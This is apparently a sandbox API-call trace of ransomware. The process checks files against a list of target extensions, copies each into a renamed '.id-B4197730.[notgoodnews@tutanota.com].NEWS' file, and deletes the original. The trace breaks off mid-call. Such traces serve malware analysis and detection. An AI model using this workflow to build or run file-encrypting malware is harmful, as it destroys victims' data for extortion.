lstrlenW (lpString=".bz2") returned 4 [0174.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString=".7z") returned 3 [0174.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString=".dbf") returned 4 [0174.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString=".1cd") returned 4 [0174.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString=".jpg") returned 4 [0174.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString=".doc") returned 4 [0174.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString=".docx") returned 5 [0174.068] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.068] lstrlenW (lpString=".pdf") returned 4 [0174.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString=".xls") returned 4 [0174.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.068] lstrlenW (lpString=".xlsx") returned 5 [0174.068] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.068] lstrlenW (lpString=".ppt") returned 4 [0174.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.068] lstrlenW (lpString=".zip") returned 4 [0174.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.068] lstrlenW (lpString=".rar") returned 4 [0174.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString=".bz2") returned 4 [0174.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.068] lstrlenW (lpString=".7z") returned 3 [0174.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.069] lstrlenW (lpString=".dbf") returned 4 [0174.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.069] lstrlenW (lpString=".1cd") returned 4 [0174.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0174.069] lstrlenW (lpString=".jpg") returned 4 [0174.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.069] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.069] lstrlenW (lpString="J0105230.WMF") returned 12 [0174.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.069] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5172) returned 1 [0174.070] CloseHandle (hObject=0x51c) returned 1 [0174.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0174.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.070] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.070] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0174.437] GetLastError () returned 0x0 [0174.437] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1434, lpOverlapped=0x0) returned 1 [0174.439] WriteFile (in: hFile=0x54c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1440, lpOverlapped=0x0) returned 1 [0174.440] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.440] WriteFile (in: hFile=0x54c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.440] SetEndOfFile (hFile=0x54c) returned 1 [0174.462] CloseHandle (hObject=0x54c) returned 1 [0174.462] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.462] SetEndOfFile (hFile=0x51c) returned 1 [0174.464] CloseHandle (hObject=0x51c) returned 1 [0174.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0174.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.466] lstrlenW (lpString=".doc") returned 4 [0174.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.466] lstrlenW (lpString=".docx") returned 5 [0174.466] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.466] lstrlenW (lpString=".pdf") returned 4 [0174.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.466] lstrlenW (lpString=".xls") returned 4 [0174.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.466] lstrlenW (lpString=".xlsx") returned 5 [0174.466] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.466] lstrlenW (lpString=".ppt") returned 4 [0174.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.466] lstrlenW (lpString=".zip") returned 4 [0174.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.466] lstrlenW (lpString=".rar") returned 4 [0174.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.466] lstrlenW (lpString=".bz2") returned 4 [0174.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.466] lstrlenW (lpString=".7z") returned 3 [0174.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.467] lstrlenW (lpString=".dbf") returned 4 [0174.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.467] lstrlenW (lpString=".1cd") returned 4 [0174.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.467] lstrlenW (lpString=".jpg") returned 4 [0174.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.468] lstrlenW (lpString=".doc") returned 4 [0174.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString=".docx") returned 5 [0174.468] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.468] lstrlenW (lpString=".pdf") returned 4 [0174.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString=".xls") returned 4 [0174.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.468] lstrlenW (lpString=".xlsx") returned 5 [0174.468] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.468] lstrlenW (lpString=".ppt") returned 4 [0174.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.468] lstrlenW (lpString=".zip") returned 4 [0174.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.468] lstrlenW (lpString=".rar") returned 4 [0174.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString=".bz2") returned 4 [0174.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString=".7z") returned 3 [0174.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.468] lstrlenW (lpString=".dbf") returned 4 [0174.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.468] lstrlenW (lpString=".1cd") returned 4 [0174.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0174.469] lstrlenW (lpString=".jpg") returned 4 [0174.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.469] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.469] lstrlenW (lpString="J0105250.WMF") returned 12 [0174.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.480] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4628) returned 1 [0174.480] CloseHandle (hObject=0x36c) returned 1 [0174.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0174.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.481] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.482] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.483] GetLastError () returned 0x0 [0174.483] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1214, lpOverlapped=0x0) returned 1 [0174.485] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1220, lpOverlapped=0x0) returned 1 [0174.486] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.486] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.487] SetEndOfFile (hFile=0x474) returned 1 [0174.487] CloseHandle (hObject=0x474) returned 1 [0174.487] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.487] SetEndOfFile (hFile=0x36c) returned 1 [0174.490] CloseHandle (hObject=0x36c) returned 1 [0174.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0174.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.492] lstrlenW (lpString=".doc") returned 4 [0174.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString=".docx") returned 5 [0174.492] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.492] lstrlenW (lpString=".pdf") returned 4 [0174.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString=".xls") returned 4 [0174.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.492] lstrlenW (lpString=".xlsx") returned 5 [0174.492] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.492] lstrlenW (lpString=".ppt") returned 4 [0174.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.492] lstrlenW (lpString=".zip") returned 4 [0174.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.492] lstrlenW (lpString=".rar") returned 4 [0174.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString=".bz2") returned 4 [0174.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString=".7z") returned 3 [0174.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.492] lstrlenW (lpString=".dbf") returned 4 [0174.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.492] lstrlenW (lpString=".1cd") returned 4 [0174.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.493] lstrlenW (lpString=".jpg") returned 4 [0174.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.493] lstrlenW (lpString=".doc") returned 4 [0174.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString=".docx") returned 5 [0174.493] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.493] lstrlenW (lpString=".pdf") returned 4 [0174.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString=".xls") returned 4 [0174.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.493] lstrlenW (lpString=".xlsx") returned 5 [0174.493] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.493] lstrlenW (lpString=".ppt") returned 4 [0174.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.493] lstrlenW (lpString=".zip") returned 4 [0174.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.493] lstrlenW (lpString=".rar") returned 4 [0174.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString=".bz2") returned 4 [0174.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.493] lstrlenW (lpString=".7z") returned 3 [0174.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.494] lstrlenW (lpString=".dbf") returned 4 [0174.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.494] lstrlenW (lpString=".1cd") returned 4 [0174.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0174.494] lstrlenW (lpString=".jpg") returned 4 [0174.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.494] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.494] lstrlenW (lpString="J0105266.WMF") returned 12 [0174.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.495] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5908) returned 1 [0174.495] CloseHandle (hObject=0x36c) returned 1 [0174.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0174.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.496] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.496] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.497] GetLastError () returned 0x0 [0174.497] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1714, lpOverlapped=0x0) returned 1 [0174.499] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1720, lpOverlapped=0x0) returned 1 [0174.500] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.501] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.501] SetEndOfFile (hFile=0x474) returned 1 [0174.501] CloseHandle (hObject=0x474) returned 1 [0174.501] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.501] SetEndOfFile (hFile=0x36c) returned 1 [0174.504] CloseHandle (hObject=0x36c) returned 1 [0174.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0174.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.506] lstrlenW (lpString=".doc") returned 4 [0174.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.506] lstrlenW (lpString=".docx") returned 5 [0174.506] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.506] lstrlenW (lpString=".pdf") returned 4 [0174.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.506] lstrlenW (lpString=".xls") returned 4 [0174.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.506] lstrlenW (lpString=".xlsx") returned 5 [0174.506] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.506] lstrlenW (lpString=".ppt") returned 4 [0174.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.506] lstrlenW (lpString=".zip") returned 4 [0174.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.506] lstrlenW (lpString=".rar") returned 4 [0174.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.506] lstrlenW (lpString=".bz2") returned 4 [0174.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.506] lstrlenW (lpString=".7z") returned 3 [0174.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString=".dbf") returned 4 [0174.507] lstrcmpiW 